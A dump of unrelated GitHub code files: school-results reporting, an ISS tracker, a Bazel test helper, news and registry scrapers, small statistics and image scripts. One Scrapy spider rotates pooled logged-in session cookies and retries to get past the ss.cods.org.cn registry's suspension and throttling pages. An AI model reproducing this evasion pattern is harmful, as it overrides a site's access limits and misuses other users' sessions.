list(level[name]['topics'][topic]['subtopics'].keys()):\r\n\t\t\t\ttemp.append(level[name]['topics'][topic]['subtopics'][subtopic]['average'])\r\n\t\tdata.append(temp)\r\n\t\tindex.append(name)\r\n\tframe=(pd.DataFrame(data, index = index, columns=subtopics))\r\n\t\r\n\treturn frame\r\n\r\n\r\ntest=create_frame(to_report[0]['groups']['Crawford']['grades']['8']['schools']['Crawford College La Lucia']['classes']['8A']['students'], '')\r\n\r\n#Create dataframes at each level and concatenate them.\r\nassessments=[]\r\nfor assessment in to_report:\r\n\tcheck=True\r\n\tdfs_to_cat={'groups':[],'grades':[], 'schools':[], 'classes':[], 'students':[]}\r\n\tif check:\r\n\t\tfirst='Groups'\r\n\telse:\r\n\t\tfirst=''\r\n\tdfs_to_cat['groups'].append(create_frame(assessment['groups'], first))\r\n\tif check:\r\n\t\tfirst='Grades'\r\n\telse:\r\n\t\tfirst=''\r\n\tfor group in assessment['groups']:\r\n\t\tdfs_to_cat['grades'].append(create_frame(assessment['groups'][group]['grades'], first))\r\n\t\tif check:\r\n\t\t\tfirst='Schools'\r\n\t\telse:\r\n\t\t\tfirst=''\r\n\t\tfor grade in assessment['groups'][group]['grades']:\r\n\t\t\tdfs_to_cat['schools'].append(create_frame(assessment['groups'][group]['grades'][grade]['schools'], first))\r\n\t\t\tif check:\r\n\t\t\t\tfirst='Classes'\r\n\t\t\telse:\r\n\t\t\t\tfirst=''\r\n\t\t\tfor school in assessment['groups'][group]['grades'][grade]['schools']:\r\n\t\t\t\tdfs_to_cat['classes'].append(create_frame(assessment['groups'][group]['grades'][grade]['schools'][school]['classes'], first))\r\n\t\t\t\tif check:\r\n\t\t\t\t\tfirst='Students'\r\n\t\t\t\telse:\r\n\t\t\t\t\tfirst=''\r\n\t\t\t\tfor clazz in assessment['groups'][group]['grades'][grade]['schools'][school]['classes']:\r\n\t\t\t\t\tdfs_to_cat['students'].append(create_frame(assessment['groups'][group]['grades'][grade]['schools'][school]['classes'][clazz]['students'], first))\r\n\t\t\t\t\tfirst=''\r\n\t\t\t\t\tcheck=False\r\n\t\t\t\tfirst=''\r\n\t\t\t\tcheck=False\r\n\t\t\tfirst=''\r\n\t\t\tcheck=False\r\n\t\tfirst=''\r\n\t\tcheck=False\r\n\tfirst=''\r\n\tcheck=False\r\n\twhole_frame=pd.concat(dfs_to_cat['groups']+dfs_to_cat['grades']+dfs_to_cat['schools']+dfs_to_cat['classes']+dfs_to_cat['students'])\t\t\r\n\tassessments.append(whole_frame)\r\n\r\n#If a student in one assessment did not do another assessment, fill the rows of the other assessment with '-'.\r\nfilled=[]\r\nfor num1 in range(0,len(assessments)-1):\r\n\tfor num2 in range(1,len(assessments)):\r\n\t\tdata=[]\r\n\t\tnames=[]\r\n\t\tfor name in [i for i in assessments[num2].index if i not in assessments[num1].index]:\r\n\t\t\tdata.append(['-' for i in assessments[num1].columns])\r\n\t\t\tnames.append(name)\r\n\t\t\r\n\t\tfilled.append(assessments[num1].append(pd.DataFrame(data,index=names, columns=assessments[num1].columns)))\r\n\t\tdata=[]\r\n\t\tnames=[]\r\n\t\t\r\n\t\tfor name in [i for i in assessments[num1].index if i not in assessments[num2].index]:\r\n\t\t\tdata.append(['-' for i in assessments[num2].columns])\r\n\t\t\tnames.append(name)\r\n\t\t\t\r\n\t\tfilled.append(assessments[num2].append(pd.DataFrame(data,index=names, columns=assessments[num2].columns)))\r\n\t\t\r\n#Combine filled dfs into one massive df.\r\ncombined=filled[0]\r\nfor frame in range(0, len(filled)-1):\r\n\tcombined=combined.join(filled[frame+1], how='outer', on=combined.index, lsuffix='_Maths',rsuffix='_Language')\r\n\r\ngrade_levels=[]\r\nsuffixes=['Maths','Language']\r\nfor a, assessment in enumerate(to_report):\r\n\tfor subtopic in assessment['curriculum']['topics']['Grade level']['subtopics']:\r\n\t\tgrade_levels.append(subtopic+'_'+suffixes[a])\r\n\t\t\r\ncombined_ranked=combined[grade_levels].copy()\r\n#Add the rank of each row in a separate column\r\n\r\n#Create new sheet on the excel spreadsheet and populate it with the ordered results.\r\ndef output(file, combined, to_report, combined_ranked):\r\n\twriter=pd.ExcelWriter(file, engine='openpyxl')\r\n\twriter.book=input_wb\r\n\tcombined.to_excel(writer, \"Curriculum Averages\", columns=combined.columns[1::], float_format=\"%.4f\", startrow=4, startcol=1)\r\n\t#Put in the headings\r\n\taverages_sh=input_wb.get_sheet_by_name(\"Curriculum Averages\")\r\n\tnext_assessment=0\r\n\tnext_topic=0\r\n\taverages_sh['B3']=\"Assessment\"\r\n\tfor assessment in to_report:\r\n\t\taverages_sh[chr(ord('C')+next_assessment)+'3']=assessment['name']\r\n\t\taverages_sh.merge_cells(chr(ord('C')+next_assessment)+'3:'+chr(ord('C')+next_assessment+len([subtopic for topic in assessment['curriculum']['topics'] for subtopic in assessment['curriculum']['topics'][topic]['subtopics']])-1)+'3')\r\n\t\tnext_assessment+=len([subtopic for topic in assessment['curriculum']['topics'] for subtopic in assessment['curriculum']['topics'][topic]['subtopics']])\r\n\t\t\r\n\t\tfor topic in assessment['curriculum']['topics']:\r\n\t\t\taverages_sh[chr(ord('C')+next_topic)+'4']=topic\r\n\t\t\taverages_sh.merge_cells(chr(ord('C')+next_topic)+'4:'+chr(ord('C')+next_topic+len([subtopic for subtopic in assessment['curriculum']['topics'][topic]['subtopics']])-1)+'4')\r\n\t\t\tnext_topic+=len([subtopic for subtopic in assessment['curriculum']['topics'][topic]['subtopics']])\r\n\t\r\n\t#New sheet for grade rankings\r\n\tcombined_ranked.to_excel(writer, \"Grade Level Ranking\", columns=combined_ranked.columns, float_format=\"%.4f\", startrow=4, startcol=1)\r\n\t#Put in the headings\r\n\tranks_sh=input_wb.get_sheet_by_name(\"Grade Level Ranking\")\r\n\tnext_assessment=0\r\n\tnext_topic=0\r\n\tranks_sh['B3']=\"Assessment\"\r\n\tfor assessment in to_report:\r\n\t\tranks_sh[chr(ord('C')+next_assessment)+'3']=assessment['name']\r\n\t\tranks_sh.merge_cells(chr(ord('C')+next_assessment)+'3:'+chr(ord('C')+next_assessment+len([topic for topic in assessment['curriculum']['topics']['Grade level']])-1)+'3')\r\n\t\tnext_assessment+=len([topic for topic in assessment['curriculum']['topics']['Grade level']])\r\n\r\n\t\tranks_sh[chr(ord('C')+next_topic)+'4']=\"Grade level\"\r\n\t\tranks_sh.merge_cells(chr(ord('C')+next_topic)+'4:'+chr(ord('C')+next_topic+len([topic for topic in assessment['curriculum']['topics']['Grade level']])-1)+'4')\r\n\t\tnext_topic+=len([topic for topic in assessment['curriculum']['topics']['Grade level']])\r\n\twriter.save()\r\n\r\noutput(file, combined, to_report, combined_ranked)\r\n\r\nprint('done')\t\t","repo_name":"DeclanMahony/SchoolRanker","sub_path":"reporter.py","file_name":"reporter.py","file_ext":"py","file_size_in_byte":7307,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"12855800775","text":"import requests\nfrom datetime import datetime as dt\n\nLATITUDE = 23.901471\nLONGITUDE = 121.546151\nLOCAL_UTC_OFFSET = 8\n\n\ndef utc_to_local(utc_hour):\n # this is for converting from UCT to my local timezone\n utc_hour += LOCAL_UTC_OFFSET\n if LOCAL_UTC_OFFSET > 0:\n if utc_hour > 23:\n utc_hour -= 24\n elif LOCAL_UTC_OFFSET < 0:\n if utc_hour < 0:\n utc_hour += 24\n return utc_hour\n\n\ndef iss_above():\n if LATITUDE - 5 <= iss_latitude <= LATITUDE + 5:\n if LONGITUDE - 5 <= iss_longitude <= LONGITUDE + 5:\n return True\n else:\n return False\n\n\ndef is_night():\n if time_now >= lt_sunset and time_now < 24:\n return True\n elif time_now < lt_sunrise:\n return True\n else:\n return False\n\n\n# ---------------------------------Getting local time and positioin ---------------------------\nparameters = {\n \"lat\": LATITUDE,\n \"lng\": LONGITUDE,\n \"formatted\": 0,\n}\n\nresponse = requests.get(url=\"http://api.sunrise-sunset.org/json?\", params=parameters)\nresponse.raise_for_status()\n\ndata = response.json()\nsunrise = int(data[\"results\"][\"sunrise\"].split(\"T\")[1].split(\":\")[0])\nsunset = int(data[\"results\"][\"sunset\"].split(\"T\")[1].split(\":\")[0])\n\nlt_sunrise = utc_to_local(sunrise)\nlt_sunset = utc_to_local(sunset)\ntime_now = dt.now().time().hour\n\n# -------------------------------------------------Getting ISS location --------------------\niss_data = requests.get(url=\"http://api.open-notify.org/iss-now.json\").json()\n\niss_latitude = float(iss_data[\"iss_position\"][\"latitude\"])\niss_longitude = float(iss_data[\"iss_position\"][\"longitude\"])\n\n# --------------------------SEND E-MAIL------------------------------------------#\nif iss_above() and is_night():\n pass\n\n","repo_name":"Mqondisi-Mavuso/Online_Courses","sub_path":"Udemy/100_days_python_bootcamp/Day33/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"72362914913","text":"load(\n \":file.bzl\",\n _file = \"file\",\n)\nload(\n \":unittest.bzl\",\n _analysistest = \"analysistest\",\n _unittest = \"unittest\",\n)\nload(\n \"@bazel_skylib//lib:unittest.bzl\",\n _asserts = \"asserts\",\n)\n\nfile = _file\n\nunittest = _unittest\n\nanalysistest = _analysistest\n\nasserts = _asserts\n\ndef _failure_test_impl(ctx):\n env = analysistest.begin(ctx)\n if ctx.attr.expected_error_msg != \"\":\n asserts.expect_failure(env, ctx.attr.expected_error_msg)\n return analysistest.end(env)\n\nfailure_test = analysistest.make(\n _failure_test_impl,\n expect_failure = True,\n attrs = dict(\n expected_error_msg = attr.string(),\n ),\n)\n","repo_name":"bazelbuild/rules_android","sub_path":"test/utils/lib.bzl","file_name":"lib.bzl","file_ext":"bzl","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":165,"dataset":"github-code","pt":"1"}
+{"seq_id":"19940722604","text":"import sys\nsys.path.insert(0, '..')\nsys.path.insert(0, '/home/v/vstoch2s/semproxy/Hyperco/')\nimport requests\nimport re\nimport pandas as pd\nimport random\nimport parser_config\nimport time\nimport config\nimport datetime\n\nfrom concurrent.futures import ThreadPoolExecutor\nfrom models import *\nfrom bs4 import BeautifulSoup\nfrom helper_html import HtmlProcess\nfrom helper_text import TxtParser\n\nhelper_text = TxtParser()\nhelper_html = HtmlProcess()\n\n\ndef get_parser_list():\n \"\"\"Список парсеров\"\"\"\n method_list = [func for func in dir(parser_config) if callable(getattr(parser_config, func))]\n class_dict = {}\n for m in method_list:\n class_inst = getattr(parser_config, m)()\n if 'media' in dir(class_inst):\n class_dict[class_inst.media] = class_inst\n\n return class_dict\n\n\ndef get_data(class_inst, href):\n \"\"\"Получение данных\"\"\"\n x = class_inst.get_data(href)\n\n return x\n\n\ndef html_normalise(text):\n '''Нормализация текста'''\n\n text = helper_text.clean_html(text)\n text_norm = helper_text.text_normalise(text,use_stop_words = True)\n return text_norm\n\n\ndef save_content(to_insert):\n \"\"\"\"\"\"\n\n Content.insert(**to_insert).on_conflict('replace').execute()\n print('saved')\n return True\n\n\ndef get_hrefs_queque():\n \"\"\"Получение ссылок в очереди\"\"\"\n\n include_pages = '[^>]+({})[^>]+'.format('|'.join(config.source_hosts[-1:]))\n print(include_pages)\n filter_pages = config.filter_pages\n\n query= LinkQueque.select(LinkQueque.url, LinkQueque.url_domain).where(LinkQueque.status == 'wait')\\\n .where(LinkQueque.url.iregexp(include_pages))\\\n .where(~LinkQueque.url.iregexp(filter_pages))\\\n .order_by(LinkQueque.id.desc()).limit(200).dicts()\n\n links_queque = [a for a in query]\n\n return links_queque\n\n\ndef update_queque(url, status='saved'):\n '''Обновление статуса в очереди'''\n\n query = LinkQueque.update(status=status).where(LinkQueque.url == url)\n query.execute()\n\n return True\n\n\ndef check_data(x):\n queque_status = 'saved'\n\n if len(x['text']) > 100:\n if helper_html.is_anchor_link(x['hrefs']):\n queque_status= 'saved'\n else:\n queque_status='nonunchor_hrefs'\n else:\n queque_status='no_text'\n\n return queque_status\n\n\ndef get_content_input(link, sleep_time = 2):\n\n url = link['url']\n host = link['url_domain']\n\n return get_content(url, host, sleep_time)\n\n#\n# def get_content_single(url, host):\n# \"\"\"\"\"\"\n# class_dict = get_parser_list()\n# parser_config = class_dict[host]\n# x = get_data(parser_config, url)\n#\n# return x\n\n\ndef normalize_elements(data):\n '''Лемматизация элементов тектса'''\n\n for key in ['text', 'title', 'subtitle']:\n norm_key = '{}_normalized'.format(key)\n data[norm_key] = html_normalise(data[key])\n\n return data\n\n\ndef get_content(url, host, sleep_time =2):\n \"\"\"Получение текста по ссылке\"\"\"\n data = {}\n class_dict = get_parser_list()\n\n if host in class_dict:\n parser_config = class_dict[host]\n print(url)\n\n url_key = helper_html.clean_http(url)\n check = Content.select(Content.url_key).where(Content.url_key == url_key).first()\n\n if check is None:\n print('Сохраняем')\n time.sleep(sleep_time)\n # try:\n\n data = get_data(parser_config, url)\n data['media'] = host\n data['url_key'] = url_key\n\n data = normalize_elements(data)\n queque_status = check_data(data)\n\n if queque_status == 'saved':\n print('saved')\n save_content(data)\n\n\n else:\n print('Сохранено ранее')\n queque_status = \"saved_before\"\n\n else:\n queque_status = \"error_host_filter\"\n print('host not in list', url)\n\n print(queque_status)\n update_queque(url, status=queque_status)\n\n return data\n\n\ndef run_queque_cp():\n '''Получение данных для доменов из очереди в несколько потоков'''\n concurrency = 3\n url_list = get_hrefs_queque()\n random.shuffle(url_list)\n print(url_list)\n\n with ThreadPoolExecutor(concurrency) as executor:\n for _ in executor.map(get_content_input, url_list):\n pass\n\n print('Готово')\n\n\ndef run_queque_op():\n '''Получение данных для доменов из очереди в один поток'''\n links = get_hrefs_queque()\n for l in links:\n try:\n t = get_content_input(l)\n except Exception as e:\n print(e)\n\n\ndef run_url(url, host):\n '''Получение данных для доменов из очереди в один поток'''\n r = get_content_input(url, host, 1)\n return r\n\nif __name__ == '__main__':\n\n #run_queque_op()\n run_queque_cp()\n","repo_name":"shulykun/hypercorpus","sub_path":"lib/parser_content.py","file_name":"parser_content.py","file_ext":"py","file_size_in_byte":5010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"14479358177","text":"# 输入一行字符,分别统计出其中英文字母、空格、数字和其它字符的个数\nst1 = ' 123 abc !@# 123 abc !@#'\nx = 0; y = 0; z = 0; s = 0\n\nfor i in range(len(st1)):\n if ord(st1[i]) == 32:\n y += 1\n elif ord(st1[i]) in range(48, 58):\n z += 1\n elif ord(st1[i]) in range(65, 91) or ord(st1[i]) in range(97, 123):\n x += 1\n else:\n s += 1\n\nprint('英文字母:', x, ';空格:', y, ';数字:', z, ';其他字符:', s)","repo_name":"listennatural/Python","sub_path":"2018-05-11_6.py","file_name":"2018-05-11_6.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"15701051267","text":"\"\"\"Parte una imagen en DIVS imagenes, despues elimina la imagen\"\"\"\r\n\r\nfrom PIL import Image,ImageChops\r\nimport os\r\n\r\nDIVS = 5\r\n\r\nfiles = os.listdir()\r\nfiles.remove(__file__)\r\nfor f in files:\r\n im = Image.open(f)\r\n basename,ext = f.split('.')\r\n width, height = im.size\r\n regionH = height/DIVS\r\n crop = 0\r\n for i in range(DIVS):\r\n region = im.crop( ( 0, crop, width, crop+regionH ))\r\n region.save(basename+'_{}.'.format(i)+ext)\r\n crop += regionH\r\n\r\nfor f in files: os.remove(f)","repo_name":"Florencia-97/TodaMafalda","sub_path":"assets/py/crop.py","file_name":"crop.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"69807585957","text":"import pytest\n\nfrom mock.mock import MagicMock\n\nfrom dbnd_redshift.sdk.redshift_connection_extractor import get_redshift_dataset\n\n\n@pytest.fixture\ndef redshift_connection():\n mock_connection = MagicMock()\n mock_connection.schema = \"conn_schema\"\n mock_connection.port = 1234\n mock_connection.info.options = \"\"\n mock_connection.info.dsn_parameters = {\n \"host\": \"redshift.mock.test\",\n \"dbname\": \"mock_db\",\n }\n return mock_connection\n\n\n@pytest.mark.parametrize(\n \"query, conn_options, database, schema, table\",\n [\n [\n \"\"\"\n COPY test_db\n FROM 's3://dbnd-dev-redshift/leap_year.csv'\n iam_role 'arn:aws:iam::760697004011:role/redshift-s3' CSV\n IGNOREHEADER 1\n \"\"\",\n \"-c search_path='search_path_schema'\",\n \"mock_db\",\n \"public\",\n \"test_db\",\n ],\n [\n \"\"\"\n COPY test_db (column_a, column_b)\n FROM 's3://dbnd-dev-redshift/leap_year.csv'\n iam_role 'arn:aws:iam::760697004011:role/redshift-s3' CSV\n \"\"\",\n \"\",\n \"mock_db\",\n \"public\",\n \"test_db\",\n ],\n [\n \"\"\"\n COPY test_schema.test_db (column_a, column_b)\n FROM 's3://dbnd-dev-redshift/leap_year.csv'\n iam_role 'arn:aws:iam::760697004011:role/redshift-s3' CSV\n \"\"\",\n \"-c search_path='mock_options_schema'\",\n \"mock_db\",\n \"test_schema\",\n \"test_db\",\n ],\n [\n \"\"\"\n COPY test_schema.test_db\n FROM 's3://dbnd-dev-redshift/leap_year.csv'\n iam_role 'arn:aws:iam::760697004011:role/redshift-s3' CSV\n \"\"\",\n \"\",\n \"mock_db\",\n \"test_schema\",\n \"test_db\",\n ],\n ],\n)\ndef test_redshift_dataset_uris(\n query, conn_options, database, schema, table, redshift_connection\n):\n redshift_connection.info.options = conn_options\n assert get_redshift_dataset(redshift_connection, query).database == database\n assert get_redshift_dataset(redshift_connection, query).schema == schema\n assert get_redshift_dataset(redshift_connection, query).table == table\n","repo_name":"databand-ai/dbnd","sub_path":"plugins/dbnd-redshift/tests/test_redshift_dataset_uri.py","file_name":"test_redshift_dataset_uri.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","stars":245,"dataset":"github-code","pt":"0"}
+{"seq_id":"16101425662","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport re\nimport pdb\nimport json\nfrom scrapy.http import Request\nfrom all_cods.items import AllCodsItem,AllCodsList\nimport time\nimport pymongo\nimport random\nimport logging\nimport datetime\ndb=pymongo.MongoClient('127.0.0.1').admin\nINFO=logging.info\nERROR=logging.error\n\nclass Code_Spider(scrapy.Spider):\n name='code_word'\n cus_retry_times = 5\n def verify_cook(self,cookie,text):\n print(cookie)\n if '系统将暂停为您提供服务' in text:\n db.user_cookie.update_one({'jsessionid':cookie},{'$set':{'state':'frequently','datetime':datetime.datetime.now()}})\n return 'frequently'\n elif '认证已失效' in text:\n db.user_cookie.update_one({'jsessionid': cookie}, {'$set': {'state': 'login_again'}})\n return 'login_again'\n else:\n return True\n\n def cooke_head(self):\n head = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'zh-CN,zh;q=0.9',\n 'Connection': 'keep-alive',\n 'Cookie': 'kefuCookie=fbd0c5f257544623ae2df7cb5008b767; JSESSIONID=8FA02447FC01353269C961FEBD034F98',\n 'Host': 'ss.cods.org.cn',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',\n }\n #cook = {\"kefuCookie\": 'fbd0c5f257544623ae2df7cb5008b767', 'JSESSIONID': '8FA02447FC01353269C961FEBD034F98'}\n #jsessionid_list = [x['jsessionid'] for x in db.user_cookie.find({'state':'available'})]\n jsessionid_list = [x['jsessionid'] for x in db.user_cookie.find({'mobile': '13301242741'})]\n cook = {'JSESSIONID':random.choice(jsessionid_list)}\n return head,cook\n def start_requests(self):\n start=0\n\n for end in range(start,101,100):\n if not end:\n continue\n print(start,end)\n url='https://fapi.lawxp.com/v1/CkeyWord?startid=%s&endid=%s'%(start,end)\n #time.sleep(5)\n #print('start_requests'+url)\n INFO('关键词接口 起始数 %s,结束数 %s, 链接 %s'%(start,end,url))\n start=end\n yield Request(url,callback=self.get_word)\n\n #head,cook = self.cooke_head()\n #url = 'https://ss.cods.org.cn/latest/detail?jgdm=8c18ba47fa75baf40befda902b482251'\n\n #yield Request(url,headers=head,cookies=cook,callback=self.item_parse)\n def get_word(self,response):\n data=json.loads(response.text)\n for word_data in data['data']:\n #print(word_data['companyName'])\n word = word_data['companyName']\n #word='面包'\n word_url = 'https://ss.cods.org.cn/latest/searchR?q=%s&t=common¤tPage=1&scjglx=B'%word\n referer='https://ss.cods.org.cn/latest/searchR?q=%s¤tPage=1&t=common&searchToken='%word\n #print(repr(word_url))\n head,cook =self.cooke_head()\n head['Referer'] = referer\n #time.sleep(5)\n INFO('%s %s %s %s'%(response.url,word,cook,'page=1'))\n yield Request(word_url,headers=head,callback=self.parse,cookies=cook,meta={'page':1,'word':word,'word_url':response.url})\n def parse(self,response):\n #print(response.text)\n #print(response.headers)\n #print(response.request)\n #print(response.request.headers)\n #if not self.verify_cook(response.request.cookie['JSESSIONID'],response.text):\n verify = self.verify_cook(response.request.cookies['JSESSIONID'],response.text)\n if verify != True:\n ERROR('cookies:%s,链接:%s,关键词:%s,页数:%s Error :%s,retry:%s'%(response.request.cookies['JSESSIONID'],response.url,response.meta['word'],response.meta['page'],verify,response.meta.get('cus_retry_times', 0)))\n self.crawler.engine.close_spider(self,'verify fail error %s %s'%(response.request.cookies['JSESSIONID'],verify))\n #raise Exception(verify)\n retries = response.meta.get('cus_retry_times', 0) + 1\n if retries <= self.cus_retry_times:\n r = response.request.copy()\n r.meta['cus_retry_times'] = retries\n r.dont_filter = True\n time.sleep(2)\n head,cook = self.cooke_head()\n yield r\n else:\n #self.logger.debug(\"Gave up retrying {}, failed {} times\".format(response.url, retries))\n ERROR('max retry %s %s'%(response.url,retries))\n\n list_word = AllCodsList()\n list_word['word'] = response.meta['word']\n list_word['url'] = response.meta['word_url']\n if '检索词范围过大' in response.text:\n type_word = '检索词范围过大'\n list_word['type_word'] = type_word\n yield list_word\n elif '暂无搜索数据' in response.text:\n type_word = '暂无搜索数据'\n list_word['type_word'] = type_word\n yield list_word\n for line in response.xpath(\"//div[@class='result result-2']/div[@class='each has-img']/div[@class='tit']/a\"):\n title_url = 'https://ss.cods.org.cn' + line.xpath(\"./@title\").extract()[0]\n print(title_url)\n #time.sleep(10)\n head, cook = self.cooke_head()\n\n time.sleep(2)\n yield Request(title_url,headers=head,cookies=cook,callback=self.item_parse,meta={'word':response.meta['word']})\n all_items = response.xpath(\"//div[@class='position position2']/p/strong/text()\").extract()\n if all_items:\n item_num = all_items[0].replace(',','')\n page = response.meta['page']\n if page * 10 < int(item_num) and page < 10:\n next_page = page + 1\n wordurl = response.url\n next_url = wordurl.replace('currentPage=%s'%page,'currentPage=%s'%next_page)\n head, cook = self.cooke_head()\n INFO('word_page_next word:%s,page:%s,all_page:%s,next_page:%s,cookie:%s'%(response.meta['word'],page,int(item_num)/10,next_page,cook))\n time.sleep(2)\n yield Request(next_url,headers=head,callback=self.parse,cookies=cook,meta={'page':next_page,'word':response.meta['word'],'word_url':response.meta['word_url']})\n def item_parse(self,response):\n item = AllCodsItem()\n data = {}\n INFO('Item url : %s cookie : %s word : %s ' % (response.url, response.request.cookies['JSESSIONID'], response.meta['word']))\n verify = self.verify_cook(response.request.cookies['JSESSIONID'], response.text)\n if verify != True:\n ERROR('cookies:%s,详情页链接:%s,关键词:%s Error:%s retry:%s' % (response.request.cookies['JSESSIONID'], response.url, response.meta['word'], verify,response.meta.get('cus_retry_times', 0)))\n self.crawler.engine.close_spider(self, 'verify fail error %s %s' % (response.request.cookies['JSESSIONID'], verify))\n retries = response.meta.get('cus_retry_times', 0) + 1\n if retries <= self.cus_retry_times:\n r = response.request.copy()\n r.meta['cus_retry_times'] = retries\n r.dont_filter = True\n time.sleep(2)\n head, cook = self.cooke_head()\n yield r\n else:\n # self.logger.debug(\"Gave up retrying {}, failed {} times\".format(response.url, retries))\n ERROR('max retry %s %s' % (response.url, retries))\n raise('max retry %s'%verify)\n\n title = response.xpath(\"//div[@class='summary_info clearfix']/h3[1]/text()\").extract()[0].strip()\n # try:\n # title = response.xpath(\"//div[@class='summary_info clearfix']/h3[1]/text()\").extract()[0].strip()\n # except:\n # url = response.url\n # jgdm=re.findall(\"jgdm=(.*)\",response.url)\n # f = open('error_item_%s.html'%jgdm,'w')\n # f.write(response.text)\n # f.flush()\n # f.close()\n #print(title)\n old_title = response.xpath(\"//div[@class='summary_info clearfix']/h3/em/@data-content/text()\").extract()\n data['title'] = title\n data['old_title'] = old_title[0] if old_title else ''\n data['word'] = response.meta['word']\n for info in response.xpath(\"//div[@class='summary_info clearfix']/ul/li\"):\n k = info.xpath('./label/text()').extract()[0]\n v = info.xpath(\"./text()\").extract()[2].strip()\n data[k] = v\n #print(data)\n for info in response.xpath(\"//div[@class='summary_info clearfix']/h3[2]/em/text()\"):\n data_sum = info.extract()\n # print(data_sum)\n # exit()\n if data_sum and \":\" in data_sum:\n k, v = data_sum.split(':')\n data[k] = v\n codes_name = response.xpath(\"//div[@class='codes clearfix']/ul/li/h3/text()\").extract()[0].strip()\n codes_values = response.xpath(\"//div[@class='codes clearfix']/ul/li/p/text()\").extract()[0]\n #print(codes_values)\n data[codes_name] = codes_values\n for half in response.xpath(\"//div[@class='detmain']/ul/li\"):\n #print(half.xpath(\"./h6/text()\").extract()[0]) if half.xpath(\"./h6/text()\") else ''\n half_k = (half.xpath(\"./h6/text()\").extract()[0]) if half.xpath(\"./h6/text()\") else ''\n if half.xpath(\"./p\"):\n #print(half.xpath(\"./p/text()\").extract()[0])\n half_v = half.xpath(\"./p/text()\").extract()[0] if half.xpath(\"./p/text()\").extract() else ''\n else:\n #print(''.join(half.xpath(\"./text()\").extract()).strip())\n half_v = ''.join(half.xpath(\"./text()\").extract()).strip()\n data[half_k] = half_v\n #print(data)\n #print(data['统一社会信用代码'])\n item['data']=data\n #yield item\n\n jgdm=re.findall(\"jgdm=(.*)\",response.url)\n history_url = 'https://ss.cods.org.cn/latest/getOtherInfo?jgdm=%s'%jgdm[0]\n head,cook=self.cooke_head()\n #print(history_url)\n yield Request(history_url,headers=head,cookies=cook,callback=self.history_parse,meta={'item_item':item})\n\n def history_parse(self,response):\n item=response.meta['item_item']\n data = json.loads(response.text)\n item['history'] = data['historyList']\n #print(data)\n yield item","repo_name":"1009473961/lawxp","sub_path":"all_cods/all_cods/spiders/cods_spider.py","file_name":"cods_spider.py","file_ext":"py","file_size_in_byte":10619,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"25404642630","text":"from scipy.stats import wilcoxon\nimport numpy as np\n\nclass wilcoxon_test:\n # def __init__(self):\n\n def find_wilcoxon(self, data1, data2, algo1, algo2):\n # compare samples\n stat, p = wilcoxon(data1, data2)\n print(\"Comparison between {} Vs. {}\".format(algo1, algo2))\n print('Statistics = %.3f, p = %.3f' % (stat, p))\n # interpret\n alpha = 0.2\n if p > alpha:\n print('Same distribution (fail to reject H0)')\n else:\n print('Different distribution (reject H0)')\n print(\"Difference between Mean {:.2f}\\n\\n\".format(np.mean(data1) - np.mean(data2)))\n\nif __name__ == '__main__':\n # data laid out = [Weather1 T2, T3, T4, FAA1 T2, T3, T4]\n # roth = [0.67, 0.63, 0.63, 0.82, 0.64, 0.81]\n # bush = [0.67, 0.64, 0.64, 0.83, 0.69, 0.83]\n # epsilon = [0.7, 0.65, 0.64, 0.85, 0.72, 0.79]\n # adaptive = [0.7, 0.65, 0.64, 0.83, 0.7, 0.79]\n\n # #data laid out = [Birdstrike1 T2, T3, T4, Weather1 T2, T3, T4, FAA1 T2, T3, T4]\n roth = [0.84, 0.80, 0.74, 0.88, 0.85, 0.83, 0.85, 0.52, 0.71]\n bush = [0.95, 0.85, 0.77, 0.82, 0.90, 0.85, 0.85, 0.57, 0.70]\n epsilon = [0.76, 0.82, 0.69, 0.82, 0.88, 0.82, 0.73, 0.59, 0.77]\n adaptive = [0.79, 0.83, 0.71, 0.83, 0.87, 0.84, 0.77, 0.65, 0.79]\n no_exploration = [0.77, 0.86, 0.66, 0.95, 0.85, 0.80, 0.78, 0.46, 0.68]\n\n obj = wilcoxon_test()\n obj.find_wilcoxon(roth, bush, 'roth', 'bush')\n obj.find_wilcoxon(roth, epsilon, 'roth', 'epsilon')\n obj.find_wilcoxon(roth, adaptive, 'roth', 'adaptive')\n obj.find_wilcoxon(bush, epsilon, 'bush', 'epsilon')\n obj.find_wilcoxon(bush, adaptive, 'bush', 'adaptive')\n obj.find_wilcoxon(epsilon, adaptive, 'epsilon', 'adaptive')\n obj.find_wilcoxon(roth, no_exploration, 'roth', 'no-exploration')\n obj.find_wilcoxon(bush, no_exploration, 'bush', 'no-exploration')\n obj.find_wilcoxon(epsilon, no_exploration, 'epsilon', 'no-exploration')\n obj.find_wilcoxon(adaptive, no_exploration, 'adaptive', 'no-exploration')\n\n#mean values of different exploration algorithms\n#Roth and Erev = 0.71\n#Bush and Mosteller = 0.77\n#Epsilon-Greedy = 0.64\n#Adaptive Epsilon-Greedy = 0.66","repo_name":"sanadcsedu/User-Learning-Model","sub_path":"wilcoxon.py","file_name":"wilcoxon.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
